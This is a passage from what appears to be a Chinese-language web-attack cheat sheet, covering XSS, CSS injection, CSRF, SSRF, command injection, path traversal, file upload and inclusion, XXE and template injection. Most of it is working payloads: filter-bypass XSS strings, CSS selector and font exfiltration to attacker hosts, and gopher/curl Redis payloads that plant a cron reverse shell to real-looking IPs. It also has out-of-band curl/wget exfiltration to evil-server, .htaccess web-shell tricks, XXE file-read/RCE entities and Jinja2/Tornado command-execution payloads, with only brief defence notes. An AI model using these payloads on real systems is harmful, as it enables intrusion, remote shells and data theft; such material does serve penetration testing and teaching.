      • window["\x61\x6c\x65\x72\x74"]
    • unicode
    • utf7
      • +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
    • utf16
  • 大小写混淆
  • 对标签属性值转码
  • 产生事件
  • css跨站解析
  • 长度限制bypass
    • eval(name)
    • eval(hash)
    • import
    • $.getScript
    • $.get
  • .
    • 使用 绕过IP/域名
    • document['cookie'] 绕过属性取值
  • 过滤引号用 `` ` `` 绕过

技巧

httponly
  • 在cookie为httponly的情况下,可以通过xss直接在源站完成操作,不直接获取cookie。
  • 在有登录操作的情况下,部分站点直接发送登录请求可能会带有cookie
  • 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
  • 低版本浏览器支持 TRACE / TRACK,可获取敏感的header字段
  • phpinfo 等页面可能会回显信息,这些信息中包含http头
  • 通过xss劫持页面钓鱼
  • 通过xss伪造oauth等授权请求,远程登录
CSS 注入
基本介绍

CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。

CSS selectors
<style>
    #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
    #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
    #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
    [...]
</style>
<form action="http://example.com" id="form2">
    <input type="text" id="secret" name="secret" value="abc">
</form>

上图是利用CSS selectors完成攻击的一个示例

Abusing Unicode Range

当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容

Bypass Via Script Gadgets
简介

一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。

portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations

下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。

例子
// index.php
<?php

$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Preview</title>
    <script type="text/javascript" src="purify.js"></script>
    <script type="text/javascript" src="jquery.js"></script>
    <script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>

    <script type="text/javascript">
    var d= atob('<?php echo $msg; ?>');
    var cleanvar = DOMPurify.sanitize(d);
    document.write(cleanvar);
    </script>

</body>
</html>
// payload
<div data-role=popup id='-->
&lt;script&gt;alert(1)&lt;/script&gt;'>
</div>
RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。

Payload

常用
  • <script>alert(/xss/)</script>
  • <svg onload=alert(document.domain)>
  • <img src=document.domain onerror=alert(document.domain)>
  • <M onmouseover=alert(document.domain)>M
  • <marquee onscroll=alert(document.domain)>
  • <a href=javascript:alert(document.domain)>M</a>
  • <body onload=alert(document.domain)>
  • <details open ontoggle=alert(document.domain)>
  • <embed src=javascript:alert(document.domain)>
大小写绕过
  • <script>alert(1)</script>
  • <sCrIpT>alert(1)</sCrIpT>
  • <ScRiPt>alert(1)</ScRiPt>
  • <sCrIpT>alert(1)</ScRiPt>
  • <ScRiPt>alert(1)</sCrIpT>
  • <img src=1 onerror=alert(1)>
  • <iMg src=1 oNeRrOr=alert(1)>
  • <ImG src=1 OnErRoR=alert(1)>
  • <img src=1 onerror="alert(&quot;M&quot;)">
  • <marquee onscroll=alert(1)>
  • <mArQuEe OnScRoLl=alert(1)>
  • <MaRqUeE oNsCrOlL=alert(1)>
各种alert
  • <script>alert(1)</script>
  • <script>confirm(1)</script>
  • <script>prompt(1)</script>
  • <script>alert('1')</script>
  • <script>alert("1")</script>
  • <script>alert`1`</script>
  • <script>(alert)(1)</script>
  • <script>a=alert,a(1)</script>
  • <script>[1].find(alert)</script>
  • <script>top["al"+"ert"](1)</script>
  • <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
  • <script>top[/al/.source+/ert/.source](1)</script>
  • <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
伪协议
  • <a href=javascript:/0/,alert(%22M%22)>M</a>
  • <a href=javascript:/00/,alert(%22M%22)>M</a>
  • <a href=javascript:/000/,alert(%22M%22)>M</a>
  • <a href=javascript:/M/,alert(%22M%22)>M</a>
Chrome XSS auditor bypass
  • ?param=https://&param=@z.exeye.io/import%20rel=import%3E
  • <base href=javascript:/M/><a href=,alert(1)>M</a>
  • <base href=javascript:/M/><iframe src=,alert(1)></iframe>
长度限制
<script>s+="l"</script>
\...
<script>eval(s)</script>
jquery sourceMappingURL
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
图片名
"><img src=x onerror=alert(document.cookie)>.gif
过期的payload
  • src=javascript:alert基本不可以用
  • css expression特性只在旧版本ie可用
css
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
markdown
[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
iframe
<iframe onload='
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>
  • <iframe src=javascript:alert(1)></iframe>
  • <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
  • <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
  • <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
  • <iframe src=https://baidu.com width=1366 height=768></iframe>
  • <iframe src=javascript:alert(1) width=1366 height=768></iframe
form
  • <form action=javascript:alert(1)><input type=submit>
  • <form><button formaction=javascript:alert(1)>M
  • <form><input formaction=javascript:alert(1) type=submit value=M>
  • <form><input formaction=javascript:alert(1) type=image value=M>
  • <form><input formaction=javascript:alert(1) type=image src=1>
meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

持久化

基于存储

有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。

在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。

Service Worker

Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。

AppCache

在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。

CSRF

简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

分类

资源包含

资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如<image>、<audio>、<video>、<object>、<script>等)所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。

由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。

基于表单

通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个JavaScript片段,强制受害者的浏览器提交。

该表单可以完全由隐藏的元素组成,以致受害者很难发现它。

如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。

XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。

基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。

这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。

防御

  • 通过CSRF-token或者验证码来检测用户提交
  • 验证 Referer/Content-Type
  • 对于用户修改删除等操作最好都使用POST操作
  • 避免全站通用的Cookie,严格设置Cookie的域

SSRF

简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

漏洞危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

过滤绕过

更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。

DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 等字符绕过内网限制。

可能的利用点

内网服务
  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行
Redis利用
  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件
云主机

在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。

防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单

命令注入

简介

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

常见危险函数

PHP
  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open
Python
  • system
  • popen
  • subprocess.call
  • spawn
Java
  • java.lang.Runtime.getRuntime().exec(command)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
    • curl http://evil-server/$(whoami)
    • wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

常见绕过方式

空格绕过
  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
黑名单绕过
  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd
长度限制绕过
>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

常用符号

命令分隔符
  • %0a / %0d / \n / \r
  • ;
  • & / &&
通配符
  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
    • shell元字符包括 #&;`,|*?~<>^()[]{}$\

目录穿越

简介

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

攻击载荷

URL参数
  • ../
  • ..\
  • ..;/
Nginx Off by Slash
  • https://vuln.site.com/files../
UNC Bypass
  • \\localhost\c$\windows\win.ini

过滤绕过

  • 单次替换
    • ...//
  • URL编码
  • 16位Unicode编码
    • \u002e
  • 超长UTF-8编码
    • \%e0%40%ae

防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。

若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

文件读取

考虑读取可能有敏感信息的文件

  • 用户目录下的敏感文件
    • .bash_history
    • .zsh_history
    • .profile
    • .bashrc
    • .gitconfig
    • .viminfo
    • passwd
  • 应用的配置文件
    • /etc/apache2/apache2.conf
    • /etc/nginx/nginx.conf
  • 应用的日志文件
    • /var/log/apache2/access.log
    • /var/log/nginx/access.log
  • 站点目录下的敏感文件
    • .svn/entries
    • .git/HEAD
    • WEB-INF/web.xml
    • .htaccess
  • 特殊的备份文件
    • .swp
    • .swo
    • .bak
    • index.php~
    • ...
  • Python的Cache
    • __pycache__\__init__.cpython-35.pyc

文件上传

文件类型检测绕过

更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

类型 二进制值
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D
后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

.user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

攻击技巧

Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了

软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果

防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

文件包含

基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

触发Sink

  • PHP
    • include
      • 在包含过程中出错会报错,不影响执行后续语句
    • include_once
      • 仅包含一次
    • require
      • 在包含过程中出错,就会直接退出,不执行后续语句
    • require_once

绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过
  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
%00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过
  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

XXE

XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。

除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

攻击方式

拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>
XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

模版注入

简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
  • Ruby
    • <%= 7 * 7 %>
    • <%= File.open('/etc/passwd').read %>
  • Java
    • ${7*7}
  • Twig
    • {{7*7}}
  • Smarty
    • {php}echo `id`;{/php}
  • AngularJS
    • $eval('1+1')
  • Tornado
    • 引用模块 {% import module %}
    • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
    • {{ config }}
    • {{ config.items() }}
    • {{get_flashed_messages.__globals__['current_app'].config}}
    • {{''.__class__.__mro__[-1].__subclasses__()}}
    • {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
    • {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
  • Django
    • {{ request }}
    • {% debug %}
    • {% load module %}
    • {% include "x.html" %}
